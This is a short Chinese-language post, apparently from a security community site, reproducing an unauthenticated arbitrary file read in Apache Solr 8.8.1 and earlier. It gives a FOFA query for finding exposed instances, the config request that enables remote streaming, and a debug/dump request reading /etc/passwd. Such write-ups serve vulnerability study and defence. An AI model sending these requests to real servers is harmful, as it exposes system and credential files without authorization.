奇安信攻防社区-Apache Solr config 任意文件读取漏洞

Apache Solr config 任意文件读取漏洞

--- title: Apache Solr config 任意文件读取漏洞 --- # Apache Solr config 任意文件读取漏洞 ## 漏洞描述 Apache Solr 存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标...

- - - - - -

title: Apache Solr config 任意文件读取漏洞
----------------------------------

Apache Solr config 任意文件读取漏洞
===========================

漏洞描述
----

Apache Solr 存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标服务器敏感文件

漏洞影响
----

Apache Solr &lt;= 8.8.1

网络测绘
----

&lt;a-button href="[https://fofa.info/result?qbase64=YXBwPSJBUEFDSEUtU29sciI%3D"&gt;FOFA](https://fofa.info/result?qbase64=YXBwPSJBUEFDSEUtU29sciI%3D): app="APACHE-Solr"&lt;/a-button&gt;  
&lt;/a-checkbox&gt;

漏洞复现
----

访问 Solr Admin 管理员页面

![deaf982e-2ddb-4021-9b5b-21ac946a910a](https://shs3.b.qianxin.com/butian_public/f4973796ca3d00b30541e9f39ae72bf2e1a8b0cdfa81c.jpg)

获取core的信息

```php
/solr/admin/cores?indexInfo=false&wt=json
```

![image-20220307142829893](https://shs3.b.qianxin.com/butian_public/f1268531909ed8240ea5001355ce83e52de041680e88c.jpg)

发送请求

```php
POST /solr/core/config 
Content-Type: application/json

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}
```

再进行文件读取

```php
POST /solr/core/debug/dump?param=ContentStreams

stream.url=file:///etc/passwd
```

![image-20220307142740665](https://shs3.b.qianxin.com/butian_public/f83770599215fcf2066b4bda740f2e998d3f6a460bfd0.jpg)

发表于 2024-07-12 18:45:31
阅读 ( 970 )
分类：Web服务器

Apache Solr config 任意文件读取漏洞

0 条评论